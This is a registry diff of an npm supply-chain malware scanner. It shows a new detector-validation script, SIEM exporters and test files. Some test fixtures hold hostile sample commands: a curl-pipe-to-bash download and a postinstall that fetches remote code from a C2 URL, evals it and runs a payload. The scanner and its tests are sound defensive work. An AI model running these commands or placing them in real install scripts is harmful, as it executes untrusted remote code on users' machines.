@lateos/npm-scan 1.0.0 → 1.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (129) hide show
  1. package/README.de.md +3 -98
  2. package/README.fr.md +3 -98
  3. package/README.ja.md +3 -98
  4. package/README.md +2 -122
  5. package/README.zh.md +3 -98
  6. package/backend/cra.js +113 -21
  7. package/backend/db.js +18 -10
  8. package/backend/detectors/atk-001-lifecycle.js +5 -5
  9. package/backend/detectors/atk-002-obfusc.js +126 -47
  10. package/backend/detectors/atk-003-creds.js +8 -4
  11. package/backend/detectors/atk-004-persist.js +3 -3
  12. package/backend/detectors/atk-005-exfil.js +8 -4
  13. package/backend/detectors/atk-006-depconf.js +3 -3
  14. package/backend/detectors/atk-007-typosquat.js +64 -10
  15. package/backend/detectors/atk-008-tarball-tamper.js +6 -6
  16. package/backend/detectors/atk-009-dormant-trigger.js +9 -5
  17. package/backend/detectors/atk-010-sandbox-evasion.js +25 -10
  18. package/backend/detectors/atk-011-transitive-prop.js +14 -13
  19. package/backend/detectors/axios-poisoning/d1-version-fingerprint.js +4 -4
  20. package/backend/detectors/axios-poisoning/d2-decoy-dep.js +5 -1
  21. package/backend/detectors/axios-poisoning/d3-postinstall-rat.js +64 -19
  22. package/backend/detectors/axios-poisoning/index.js +77 -60
  23. package/backend/detectors/config/thresholds.js +48 -3
  24. package/backend/detectors/cve-2026-48710-badhost/codePattern.js +26 -9
  25. package/backend/detectors/cve-2026-48710-badhost/findings.js +8 -4
  26. package/backend/detectors/cve-2026-48710-badhost/index.js +1 -1
  27. package/backend/detectors/cve-2026-48710-badhost/manifest.js +127 -39
  28. package/backend/detectors/cve-2026-48710-badhost/transitive.js +87 -28
  29. package/backend/detectors/hf-impersonation/index.js +94 -31
  30. package/backend/detectors/hf-impersonation/jaro-winkler.js +33 -12
  31. package/backend/detectors/hf-impersonation/known-orgs.js +15 -3
  32. package/backend/detectors/hf-impersonation/simhash.js +2 -2
  33. package/backend/detectors/index.js +181 -34
  34. package/backend/detectors/lib/ast-patterns.js +4 -1
  35. package/backend/detectors/lib/entropy-analyzer.js +12 -4
  36. package/backend/detectors/megalodon/d1-workflow-scan.js +40 -16
  37. package/backend/detectors/megalodon/d2-credential-harvest.js +12 -5
  38. package/backend/detectors/megalodon/d3-publish-velocity.js +17 -11
  39. package/backend/detectors/megalodon/d4-publisher-drift.js +48 -16
  40. package/backend/detectors/megalodon/d5-bot-commit-identity.js +1 -1
  41. package/backend/detectors/megalodon/d6-date-anachronism.js +1 -1
  42. package/backend/detectors/megalodon/index.js +35 -25
  43. package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +3 -1
  44. package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +22 -10
  45. package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +30 -10
  46. package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +17 -13
  47. package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +12 -4
  48. package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +6 -2
  49. package/backend/detectors/mini-shai-hulud/index.js +63 -26
  50. package/backend/detectors/msh-supplement/d2-persistence.js +30 -12
  51. package/backend/detectors/msh-supplement/d3-geo-killswitch.js +20 -8
  52. package/backend/detectors/msh-supplement/d4-c2-deaddrop.js +19 -5
  53. package/backend/detectors/msh-supplement/index.js +78 -63
  54. package/backend/detectors/node-ipc-compromise/d1-version-blocklist.js +4 -2
  55. package/backend/detectors/node-ipc-compromise/d10-unauthorized-publisher.js +9 -5
  56. package/backend/detectors/node-ipc-compromise/d11-blast-radius.js +7 -3
  57. package/backend/detectors/node-ipc-compromise/d2-tarball-hash.js +9 -4
  58. package/backend/detectors/node-ipc-compromise/d3-cjs-payload-injection.js +7 -5
  59. package/backend/detectors/node-ipc-compromise/d4-injected-payload-hash.js +4 -2
  60. package/backend/detectors/node-ipc-compromise/d5-dns-c2-pattern.js +13 -10
  61. package/backend/detectors/node-ipc-compromise/d7-dns-txt-exfil.js +3 -1
  62. package/backend/detectors/node-ipc-compromise/d8-runtime-trigger.js +5 -2
  63. package/backend/detectors/node-ipc-compromise/index.js +21 -15
  64. package/backend/detectors/tier1-binary-embed.js +109 -41
  65. package/backend/detectors/tier1-cloud-imds.js +57 -37
  66. package/backend/detectors/tier1-encrypted-c2.js +198 -0
  67. package/backend/detectors/tier1-infostealer.js +121 -68
  68. package/backend/detectors/tier1-lifecycle-hook.js +63 -23
  69. package/backend/detectors/tier1-maintainer-compromise.js +157 -0
  70. package/backend/detectors/tier1-metadata-spoof.js +92 -42
  71. package/backend/detectors/tier1-multistage-postinstall.js +46 -19
  72. package/backend/detectors/tier1-obfuscation-heuristics.js +45 -17
  73. package/backend/detectors/tier1-self-propagation.js +115 -0
  74. package/backend/detectors/tier1-slsa-attestation.js +1 -1
  75. package/backend/detectors/tier1-transitive-deps.js +182 -0
  76. package/backend/detectors/tier1-typosquat.js +129 -50
  77. package/backend/detectors/tier1-version-anomaly.js +77 -41
  78. package/backend/detectors/tier1-version-confusion.js +79 -59
  79. package/backend/detectors/trapdoor/d1-campaign-marker.js +3 -1
  80. package/backend/detectors/trapdoor/d2-payload-fingerprint.js +1 -1
  81. package/backend/detectors/trapdoor/d3-publisher-blocklist.js +4 -3
  82. package/backend/detectors/trapdoor/d4-gists-exfil.js +4 -2
  83. package/backend/detectors/trapdoor/d5-ai-poisoning.js +5 -3
  84. package/backend/detectors/trapdoor/d6-lure-name.js +12 -7
  85. package/backend/detectors/trapdoor/d7-crypto-primitives.js +2 -2
  86. package/backend/detectors/trapdoor/d8-xor-key.js +7 -2
  87. package/backend/detectors/trapdoor/d9-cred-validation.js +4 -5
  88. package/backend/detectors/trapdoor/index.js +19 -14
  89. package/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js +32 -8
  90. package/backend/detectors/typosquat-vpmdhaj/d2-preinstall-loader.js +5 -3
  91. package/backend/detectors/typosquat-vpmdhaj/d3-cred-exfil.js +34 -12
  92. package/backend/detectors/typosquat-vpmdhaj/index.js +78 -59
  93. package/backend/detectors.test.js +78 -19
  94. package/backend/fetch.js +37 -29
  95. package/backend/index.js +1 -1
  96. package/backend/license.js +20 -4
  97. package/backend/lockfile.js +60 -36
  98. package/backend/pdf.js +107 -28
  99. package/backend/policy.js +183 -56
  100. package/backend/provenance.js +28 -3
  101. package/backend/report.js +136 -70
  102. package/backend/sbom.js +33 -27
  103. package/backend/scripts/analyze-false-positives.js +14 -8
  104. package/backend/scripts/analyze-validation.js +27 -21
  105. package/backend/scripts/detect-false-positives.js +20 -10
  106. package/backend/scripts/fetch-top-packages.js +197 -49
  107. package/backend/scripts/validate-d10-d13.js +103 -0
  108. package/backend/scripts/validate-detectors.js +26 -17
  109. package/backend/siem/cef.js +23 -21
  110. package/backend/siem/ecs.js +3 -3
  111. package/backend/siem/index.js +1 -1
  112. package/backend/siem/qradar.js +3 -3
  113. package/backend/siem/sentinel.js +2 -2
  114. package/backend/tests-d5-enhanced.test.js +13 -12
  115. package/backend/tests-d6-version-anomaly.test.js +17 -8
  116. package/backend/tests-d6.test.js +24 -14
  117. package/backend/tests-d6c.test.js +27 -14
  118. package/backend/tests-d7-obfuscation.test.js +9 -12
  119. package/backend/tests.test.js +182 -83
  120. package/backend/vsix-scan/detectors/activation-event-risk.js +36 -19
  121. package/backend/vsix-scan/detectors/burst-publish.js +14 -7
  122. package/backend/vsix-scan/detectors/exfil-pattern.js +7 -3
  123. package/backend/vsix-scan/detectors/known-ioc.js +23 -8
  124. package/backend/vsix-scan/detectors/orphan-commit-fetch.js +11 -7
  125. package/backend/vsix-scan/detectors/publisher-anomaly.js +24 -10
  126. package/backend/vsix-scan/index.js +97 -41
  127. package/backend/vsix-scan/marketplace-client.js +29 -13
  128. package/cli/cli.js +154 -64
  129. package/package.json +12 -3
@@ -0,0 +1,103 @@
1
+ import { scan as d10scan } from '../detectors/tier1-self-propagation.js';
2
+ import { scan as d11scan } from '../detectors/tier1-encrypted-c2.js';
3
+ import { scan as d12scan } from '../detectors/tier1-transitive-deps.js';
4
+ import { scan as d13scan } from '../detectors/tier1-maintainer-compromise.js';
5
+
6
+ const results = [];
7
+
8
+ // D10 + D13: @redhat-cloud-services Miasma (32 packages, 12 versions in 2 hours)
9
+ const miasmaTime = { '0.0.1': '2024-01-01T00:00:00.000Z' };
10
+ for (let i = 0; i < 12; i++) {
11
+ const t = new Date('2026-06-01T03:00:00Z');
12
+ t.setMinutes(t.getMinutes() - (12 - i) * 10);
13
+ miasmaTime[`2.${i}.0`] = t.toISOString();
14
+ }
15
+ const miasmaRegistryD10 = {
16
+ time: miasmaTime,
17
+ namespacePackages: Array.from({ length: 31 }, (_, i) => `@redhat-cloud-services/pkg-${i}`),
18
+ };
19
+ const miasmaRegistryD13 = {
20
+ time: miasmaTime,
21
+ crossPackageBurst: true,
22
+ };
23
+
24
+ const d10Result = await d10scan(
25
+ { name: '@redhat-cloud-services/foo', version: '2.11.0' },
26
+ [],
27
+ miasmaRegistryD10,
28
+ null
29
+ );
30
+ const d13Result = await d13scan(
31
+ { name: '@redhat-cloud-services/foo', version: '2.11.0' },
32
+ [],
33
+ miasmaRegistryD13,
34
+ null
35
+ );
36
+
37
+ results.push({
38
+ campaign: '@redhat-cloud-services Miasma',
39
+ detectors: {
40
+ D10: { triggered: d10Result.length > 0, confidence: d10Result[0]?.confidenceScore || 0 },
41
+ D13: { triggered: d13Result.length > 0, confidence: d13Result[0]?.confidenceScore || 0 },
42
+ },
43
+ });
44
+
45
+ // D11: TanStack Mini Shai-Hulud
46
+ const tanStackFiles = [
47
+ { path: 'install.sh', content: 'curl -s https://filev2.getsession.org/upload | bash' },
48
+ ];
49
+ const d11Result = await d11scan(
50
+ { name: '@tanstack/react-query', version: '4.29.1' },
51
+ tanStackFiles,
52
+ null,
53
+ null
54
+ );
55
+
56
+ results.push({
57
+ campaign: 'TanStack Mini Shai-Hulud',
58
+ detectors: {
59
+ D11: { triggered: d11Result.length > 0, confidence: d11Result[0]?.confidenceScore || 0 },
60
+ },
61
+ });
62
+
63
+ // D12: Axios Backdoor (plain-crypto-js)
64
+ const d12Result = await d12scan(
65
+ {
66
+ name: 'test-app',
67
+ dependencies: { axios: '1.14.1', 'plain-crypto-js': '1.0.0', lodash: '4.17.21' },
68
+ },
69
+ [],
70
+ null,
71
+ null
72
+ );
73
+
74
+ results.push({
75
+ campaign: 'Axios Backdoor',
76
+ detectors: {
77
+ D12: { triggered: d12Result.length > 0, confidence: d12Result[0]?.confidenceScore || 0 },
78
+ },
79
+ });
80
+
81
+ let allPassed = true;
82
+ for (const { campaign, detectors } of results) {
83
+ const details = Object.entries(detectors)
84
+ .map(([d, r]) => `${d}: ${r.triggered ? 'PASS' : 'FAIL'} (confidence ${r.confidence})`)
85
+ .join(', ');
86
+ const campaignPassed = Object.values(detectors).every((r) => r.triggered);
87
+ console.log(`${campaignPassed ? 'PASS' : 'FAIL'} ${campaign}: ${details}`);
88
+ if (!campaignPassed) allPassed = false;
89
+ }
90
+
91
+ if (allPassed) {
92
+ console.log('\nAll campaigns validated successfully.');
93
+ } else {
94
+ console.log('\nSome campaigns FAILED validation.');
95
+ }
96
+
97
+ const output = {
98
+ timestamp: new Date().toISOString(),
99
+ results,
100
+ passed: allPassed,
101
+ };
102
+ const fs = await import('fs');
103
+ fs.writeFileSync('validation-d10-d13.json', JSON.stringify(output, null, 2));
@@ -16,14 +16,19 @@ function loadFixture(filePath) {
16
16
  return [];
17
17
  }
18
18
  const text = readFileSync(abs, 'utf-8');
19
- return text.split('\n').filter(l => l.trim()).map(l => JSON.parse(l));
19
+ return text
20
+ .split('\n')
21
+ .filter((l) => l.trim())
22
+ .map((l) => JSON.parse(l));
20
23
  }
21
24
 
22
25
  async function fetchNpmMetadata(pkgName, version) {
23
26
  try {
24
27
  const url = `https://registry.npmjs.org/${encodeURIComponent(pkgName)}/${version}`;
25
28
  const response = await fetch(url, { signal: AbortSignal.timeout(5000) });
26
- if (!response.ok) return null;
29
+ if (!response.ok) {
30
+ return null;
31
+ }
27
32
  return await response.json();
28
33
  } catch {
29
34
  console.warn(` [WARN] Registry fetch failed for ${pkgName}@${version}; using fixture data`);
@@ -32,8 +37,12 @@ async function fetchNpmMetadata(pkgName, version) {
32
37
  }
33
38
 
34
39
  function constructRegistryMeta(pkg, liveMeta) {
35
- if (liveMeta) return liveMeta;
36
- if (pkg.mockRegistryMeta) return pkg.mockRegistryMeta;
40
+ if (liveMeta) {
41
+ return liveMeta;
42
+ }
43
+ if (pkg.mockRegistryMeta) {
44
+ return pkg.mockRegistryMeta;
45
+ }
37
46
  return null;
38
47
  }
39
48
 
@@ -48,9 +57,7 @@ function constructPkgJson(pkg) {
48
57
  async function validateDetectors(campaigns, outputFile) {
49
58
  const allResults = [];
50
59
 
51
- const campaignKeys = campaigns === 'all'
52
- ? Object.keys(CAMPAIGN_FIXTURES)
53
- : [campaigns];
60
+ const campaignKeys = campaigns === 'all' ? Object.keys(CAMPAIGN_FIXTURES) : [campaigns];
54
61
 
55
62
  for (const campaignKey of campaignKeys) {
56
63
  const fixturePath = CAMPAIGN_FIXTURES[campaignKey];
@@ -71,7 +78,7 @@ async function validateDetectors(campaigns, outputFile) {
71
78
 
72
79
  const findings = await runAll(pkgJson, [], registryMeta, []);
73
80
 
74
- const detectedIds = [...new Set(findings.map(f => f.id))];
81
+ const detectedIds = [...new Set(findings.map((f) => f.id))];
75
82
 
76
83
  const result = {
77
84
  package: pkg.package,
@@ -82,7 +89,7 @@ async function validateDetectors(campaigns, outputFile) {
82
89
  expected_detectors: pkg.expected_detectors,
83
90
  detected_detectors: detectedIds,
84
91
  detection_count: findings.length,
85
- detections: findings.map(f => ({
92
+ detections: findings.map((f) => ({
86
93
  id: f.id,
87
94
  detector: f.detector,
88
95
  severity: f.severity,
@@ -99,7 +106,7 @@ async function validateDetectors(campaigns, outputFile) {
99
106
  allResults.push(result);
100
107
 
101
108
  const expectedCount = pkg.expected_detectors.length;
102
- const hitCount = detectedIds.filter(id => pkg.expected_detectors.includes(id)).length;
109
+ const hitCount = detectedIds.filter((id) => pkg.expected_detectors.includes(id)).length;
103
110
  console.log(
104
111
  ` ${hitCount > 0 ? '✓' : '✗'} ${pkg.package}@${pkg.version}: ${hitCount}/${expectedCount} expected detectors fired`
105
112
  );
@@ -120,12 +127,12 @@ async function validateDetectors(campaigns, outputFile) {
120
127
  }
121
128
 
122
129
  if (outputFile) {
123
- const lines = allResults.map(r => JSON.stringify(r)).join('\n') + '\n';
130
+ const lines = allResults.map((r) => JSON.stringify(r)).join('\n') + '\n';
124
131
  writeFileSync(outputFile, lines, 'utf-8');
125
132
  }
126
133
 
127
- const processed = allResults.filter(r => !r.error).length;
128
- const errors = allResults.filter(r => r.error).length;
134
+ const processed = allResults.filter((r) => !r.error).length;
135
+ const errors = allResults.filter((r) => r.error).length;
129
136
  console.log(`\n[SUMMARY] Processed ${processed} packages, ${errors} errors`);
130
137
  console.log(`[INFO] Results written to ${outputFile}`);
131
138
 
@@ -136,7 +143,9 @@ const args = process.argv.slice(2);
136
143
  const campaignArg = args[0] || 'all';
137
144
  const outputArg = args[1] ? resolve(args[1]) : resolve('validation-results.jsonl');
138
145
 
139
- validateDetectors(campaignArg, outputArg).then(() => process.exit(0)).catch(err => {
140
- console.error(`[ERROR] ${err.message}`);
141
- process.exit(1);
142
- });
146
+ validateDetectors(campaignArg, outputArg)
147
+ .then(() => process.exit(0))
148
+ .catch((err) => {
149
+ console.error(`[ERROR] ${err.message}`);
150
+ process.exit(1);
151
+ });
@@ -1,33 +1,35 @@
1
1
  export function generateCEF(scans) {
2
2
  const entries = [];
3
3
  for (const s of scans) {
4
- for (const f of (s.findings || [])) {
4
+ for (const f of s.findings || []) {
5
5
  const atkId = f.atk_id || f.id;
6
6
  const desc = (f.description || f.title || '').replace(/\\/g, '\\\\').replace(/\|/g, '\\|');
7
7
  const sevMap = { critical: 10, high: 8, medium: 5, low: 2 };
8
8
  const sev = sevMap[f.severity] || 5;
9
9
  const pkgName = (s.package_name || 'unknown').replace(/\|/g, '\\|');
10
10
  const pkgVer = (s.version || '').replace(/\|/g, '\\|');
11
- entries.push([
12
- 'CEF:0',
13
- 'npm-scan',
14
- 'npm-scan',
15
- process.env.npm_package_version || '0.4.0',
16
- atkId,
17
- desc,
18
- String(sev),
19
- `suser=${pkgName} ${pkgVer}`,
20
- `msg=${desc}`,
21
- `cs1=${atkId}`,
22
- `cs1Label=atkId`,
23
- `cs2=${f.severity}`,
24
- `cs2Label=severity`,
25
- `cs3=${pkgName}`,
26
- `cs3Label=package`,
27
- `cs4=${pkgVer}`,
28
- `cs4Label=version`,
29
- ].join('|'));
11
+ entries.push(
12
+ [
13
+ 'CEF:0',
14
+ 'npm-scan',
15
+ 'npm-scan',
16
+ process.env.npm_package_version || '0.4.0',
17
+ atkId,
18
+ desc,
19
+ String(sev),
20
+ `suser=${pkgName} ${pkgVer}`,
21
+ `msg=${desc}`,
22
+ `cs1=${atkId}`,
23
+ `cs1Label=atkId`,
24
+ `cs2=${f.severity}`,
25
+ `cs2Label=severity`,
26
+ `cs3=${pkgName}`,
27
+ `cs3Label=package`,
28
+ `cs4=${pkgVer}`,
29
+ `cs4Label=version`,
30
+ ].join('|')
31
+ );
30
32
  }
31
33
  }
32
34
  return entries.join('\n');
33
- }
35
+ }
@@ -1,7 +1,7 @@
1
1
  export function generateECS(scans) {
2
2
  const events = [];
3
3
  for (const s of scans) {
4
- for (const f of (s.findings || [])) {
4
+ for (const f of s.findings || []) {
5
5
  const atkId = f.atk_id || f.id;
6
6
  const sevMap = { critical: 100, high: 80, medium: 50, low: 20 };
7
7
  events.push({
@@ -37,5 +37,5 @@ export function generateECS(scans) {
37
37
  });
38
38
  }
39
39
  }
40
- return events.map(e => JSON.stringify(e)).join('\n');
41
- }
40
+ return events.map((e) => JSON.stringify(e)).join('\n');
41
+ }
@@ -16,4 +16,4 @@ export function generateSIEM(scans, format = 'cef') {
16
16
  default:
17
17
  throw new Error(`Unknown SIEM format: ${format}. Supported: cef, ecs, sentinel, qradar`);
18
18
  }
19
- }
19
+ }
@@ -1,7 +1,7 @@
1
1
  export function generateQRadar(scans) {
2
2
  const events = [];
3
3
  for (const s of scans) {
4
- for (const f of (s.findings || [])) {
4
+ for (const f of s.findings || []) {
5
5
  const atkId = f.atk_id || f.id;
6
6
  events.push({
7
7
  source: 'npm-scan',
@@ -32,7 +32,7 @@ export function generateQRadar(scans) {
32
32
  });
33
33
  }
34
34
  }
35
- return events.map(e => JSON.stringify(e)).join('\n');
35
+ return events.map((e) => JSON.stringify(e)).join('\n');
36
36
  }
37
37
 
38
38
  const QID_MAP = {
@@ -54,4 +54,4 @@ function _qrCategory(severity) {
54
54
  low: 'Low Severity Malware',
55
55
  };
56
56
  return map[severity] || 'Medium Severity Malware';
57
- }
57
+ }
@@ -1,7 +1,7 @@
1
1
  export function generateSentinel(scans) {
2
2
  const events = [];
3
3
  for (const s of scans) {
4
- for (const f of (s.findings || [])) {
4
+ for (const f of s.findings || []) {
5
5
  const atkId = f.atk_id || f.id;
6
6
  events.push({
7
7
  TimeGenerated: new Date().toISOString(),
@@ -25,4 +25,4 @@ export function generateSentinel(scans) {
25
25
  }
26
26
  }
27
27
  return JSON.stringify(events, null, 2);
28
- }
28
+ }
@@ -11,10 +11,10 @@ describe('D5: Binary Embed Enhancement', () => {
11
11
  ];
12
12
  const pkg = { name: 'suspicious-pkg', version: '1.0.0' };
13
13
  const findings = await detectors.runAll(pkg, [], null, allFiles);
14
- const matches = findings.filter(f => f.id === 'TIER1-BINARY-EMBED');
14
+ const matches = findings.filter((f) => f.id === 'TIER1-BINARY-EMBED');
15
15
  assert(matches.length > 0, 'Expected TIER1-BINARY-EMBED finding');
16
- const hasCrossPlatform = matches.some(m =>
17
- m.evidence.some(e => e.includes('cross-platform')),
16
+ const hasCrossPlatform = matches.some((m) =>
17
+ m.evidence.some((e) => e.includes('cross-platform'))
18
18
  );
19
19
  assert(hasCrossPlatform, 'Expected cross-platform binary set evidence');
20
20
  });
@@ -26,20 +26,21 @@ describe('D5: Binary Embed Enhancement', () => {
26
26
  ];
27
27
  const pkg = { name: 'suspicious-pkg', version: '1.0.0' };
28
28
  const findings = await detectors.runAll(pkg, [], null, allFiles);
29
- const matches = findings.filter(f => f.id === 'TIER1-BINARY-EMBED');
30
- const hasHighScore = matches.some(m => m.confidenceScore > 85);
31
- assert(hasHighScore, `No finding with confidenceScore > 85; scores: ${matches.map(m => m.confidenceScore).join(', ')}`);
29
+ const matches = findings.filter((f) => f.id === 'TIER1-BINARY-EMBED');
30
+ const hasHighScore = matches.some((m) => m.confidenceScore > 85);
31
+ assert(
32
+ hasHighScore,
33
+ `No finding with confidenceScore > 85; scores: ${matches.map((m) => m.confidenceScore).join(', ')}`
34
+ );
32
35
  });
33
36
 
34
37
  test('D5: single binary not flagged as cross-platform', async () => {
35
- const allFiles = [
36
- { path: 'bin/agent-linux-x64', content: String.fromCharCode(0x7f) + 'ELF' },
37
- ];
38
+ const allFiles = [{ path: 'bin/agent-linux-x64', content: String.fromCharCode(0x7f) + 'ELF' }];
38
39
  const pkg = { name: 'normal-pkg', version: '1.0.0' };
39
40
  const findings = await detectors.runAll(pkg, [], null, allFiles);
40
- const matches = findings.filter(f => f.id === 'TIER1-BINARY-EMBED');
41
- const hasPlatformLabel = matches.some(m =>
42
- m.evidence.some(e => e.includes('cross-platform')),
41
+ const matches = findings.filter((f) => f.id === 'TIER1-BINARY-EMBED');
42
+ const hasPlatformLabel = matches.some((m) =>
43
+ m.evidence.some((e) => e.includes('cross-platform'))
43
44
  );
44
45
  assert(!hasPlatformLabel, 'Single binary should not be flagged as cross-platform');
45
46
  });
@@ -7,7 +7,7 @@ describe('D6: Version Anomaly', () => {
7
7
  const pkg = { name: '@widget/core', version: '99.99.99' };
8
8
  const registryMeta = ['1.0.0', '1.5.0', '2.0.0', '2.1.0', '3.0.0', '4.0.0', '5.0.0', '5.3.2'];
9
9
  const findings = await detectors.runAll(pkg, [], registryMeta);
10
- const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
10
+ const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
11
11
  assert(match, 'Expected TIER1-VERSION-ANOMALY finding');
12
12
  assert(match.confidenceScore > 90, `confidenceScore ${match.confidenceScore} <= 90`);
13
13
  });
@@ -16,7 +16,7 @@ describe('D6: Version Anomaly', () => {
16
16
  const pkg = { name: 'internal-utils', version: '11.11.11' };
17
17
  const registryMeta = ['1.0.0', '1.0.1', '1.1.0', '1.2.0', '2.0.0'];
18
18
  const findings = await detectors.runAll(pkg, [], registryMeta);
19
- const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
19
+ const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
20
20
  assert(match, 'Expected TIER1-VERSION-ANOMALY finding');
21
21
  assert(match.confidenceScore > 85, `confidenceScore ${match.confidenceScore} <= 85`);
22
22
  });
@@ -24,18 +24,27 @@ describe('D6: Version Anomaly', () => {
24
24
  test('D6: does NOT flag legitimate 2.0.0 jump from 1.9.9', async () => {
25
25
  const pkg = { name: 'stable-lib', version: '2.0.0' };
26
26
  const registryMeta = [
27
- '1.0.0', '1.1.0', '1.2.0', '1.3.0', '1.4.0', '1.5.0',
28
- '1.6.0', '1.7.0', '1.8.0', '1.9.0', '1.9.9',
27
+ '1.0.0',
28
+ '1.1.0',
29
+ '1.2.0',
30
+ '1.3.0',
31
+ '1.4.0',
32
+ '1.5.0',
33
+ '1.6.0',
34
+ '1.7.0',
35
+ '1.8.0',
36
+ '1.9.0',
37
+ '1.9.9',
29
38
  ];
30
39
  const findings = await detectors.runAll(pkg, [], registryMeta);
31
- const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
40
+ const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
32
41
  assert(!match, 'Should not flag legitimate 2.0.0 major bump');
33
42
  });
34
43
 
35
44
  test('D6: handles null registry gracefully — degrades confidence', async () => {
36
45
  const pkg = { name: 'offline-pkg', version: '99.99.99' };
37
46
  const findings = await detectors.runAll(pkg);
38
- const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
47
+ const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
39
48
  assert(match, 'Expected TIER1-VERSION-ANOMALY finding');
40
49
  assert(match.confidenceScore < 70, `confidenceScore ${match.confidenceScore} >= 70`);
41
50
  });
@@ -44,7 +53,7 @@ describe('D6: Version Anomaly', () => {
44
53
  const pkg = { name: 'react', version: '99.99.99' };
45
54
  const registryMeta = ['1.0.0', '2.0.0'];
46
55
  const findings = await detectors.runAll(pkg, [], registryMeta);
47
- const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
56
+ const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
48
57
  assert(!match);
49
58
  });
50
59
 
@@ -52,7 +61,7 @@ describe('D6: Version Anomaly', () => {
52
61
  const pkg = { name: 'widget-core', version: '5.4.1' };
53
62
  const registryMeta = ['1.0.0', '2.0.0', '3.0.0', '4.0.0', '5.0.0', '5.4.0'];
54
63
  const findings = await detectors.runAll(pkg, [], registryMeta);
55
- const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
64
+ const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
56
65
  assert(!match);
57
66
  });
58
67
  });
@@ -8,7 +8,7 @@ describe('D6a — tier1-version-confusion', () => {
8
8
  test('D6a: detects exact sentinel version 99.99.99', async () => {
9
9
  const pkg = { name: 'internal-utils', version: '99.99.99' };
10
10
  const findings = await detectors.runAll(pkg);
11
- const match = findings.find(f => f.id === 'TIER1-VERSION-CONFUSION');
11
+ const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
12
12
  assert(match, 'Expected TIER1-VERSION-CONFUSION finding');
13
13
  assert.equal(match.confidence, 'HIGH');
14
14
  assert(match.confidenceScore >= 80, `confidenceScore ${match.confidenceScore} < 80`);
@@ -18,23 +18,26 @@ describe('D6a — tier1-version-confusion', () => {
18
18
  for (const version of ['9.9.9', '10.10.10', '11.11.11']) {
19
19
  const pkg = { name: 'corp-auth', version };
20
20
  const findings = await detectors.runAll(pkg);
21
- const match = findings.find(f => f.id === 'TIER1-VERSION-CONFUSION');
21
+ const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
22
22
  assert(match, `Expected finding for version ${version}`);
23
- assert(match.confidenceScore >= 60, `confidenceScore ${match.confidenceScore} < 60 for version ${version}`);
23
+ assert(
24
+ match.confidenceScore >= 60,
25
+ `confidenceScore ${match.confidenceScore} < 60 for version ${version}`
26
+ );
24
27
  }
25
28
  });
26
29
 
27
30
  test('D6a: no finding on legitimate semver', async () => {
28
31
  const pkg = { name: 'lodash', version: '4.17.21' };
29
32
  const findings = await detectors.runAll(pkg);
30
- const match = findings.find(f => f.id === 'TIER1-VERSION-CONFUSION');
33
+ const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
31
34
  assert(!match);
32
35
  });
33
36
 
34
37
  test('D6a: no finding on KNOWN_REPUTABLE_PACKAGES regardless of version', async () => {
35
38
  const pkg = { name: 'react', version: '99.99.99' };
36
39
  const findings = await detectors.runAll(pkg);
37
- const match = findings.find(f => f.id === 'TIER1-VERSION-CONFUSION');
40
+ const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
38
41
  assert(!match);
39
42
  });
40
43
  });
@@ -47,11 +50,12 @@ describe('D6b — tier1-multistage-postinstall', () => {
47
50
  name: 'malicious-pkg',
48
51
  version: '1.0.0',
49
52
  scripts: {
50
- postinstall: 'node -e "fetch(process.env.C2_URL).then(r=>r.text()).then(eval)" && execFile("./payload")',
53
+ postinstall:
54
+ 'node -e "fetch(process.env.C2_URL).then(r=>r.text()).then(eval)" && execFile("./payload")',
51
55
  },
52
56
  };
53
57
  const findings = await detectors.runAll(pkg);
54
- const match = findings.find(f => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
58
+ const match = findings.find((f) => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
55
59
  assert(match, 'Expected TIER1-MULTISTAGE-POSTINSTALL finding');
56
60
  assert.equal(match.confidence, 'HIGH');
57
61
  assert(match.confidenceScore >= 80, `confidenceScore ${match.confidenceScore} < 80`);
@@ -66,7 +70,7 @@ describe('D6b — tier1-multistage-postinstall', () => {
66
70
  },
67
71
  };
68
72
  const findings = await detectors.runAll(pkg);
69
- const match = findings.find(f => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
73
+ const match = findings.find((f) => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
70
74
  assert(match, 'Expected TIER1-MULTISTAGE-POSTINSTALL finding');
71
75
  assert(match.confidenceScore >= 75, `confidenceScore ${match.confidenceScore} < 75`);
72
76
  });
@@ -80,7 +84,7 @@ describe('D6b — tier1-multistage-postinstall', () => {
80
84
  },
81
85
  };
82
86
  const findings = await detectors.runAll(pkg);
83
- const match = findings.find(f => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
87
+ const match = findings.find((f) => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
84
88
  assert(!match);
85
89
  });
86
90
 
@@ -89,11 +93,12 @@ describe('D6b — tier1-multistage-postinstall', () => {
89
93
  name: 'dual-pkg',
90
94
  version: '1.0.0',
91
95
  scripts: {
92
- postinstall: 'node -e "fetch(process.env.C2_URL).then(r=>r.text()).then(eval)" && execFile("./payload")',
96
+ postinstall:
97
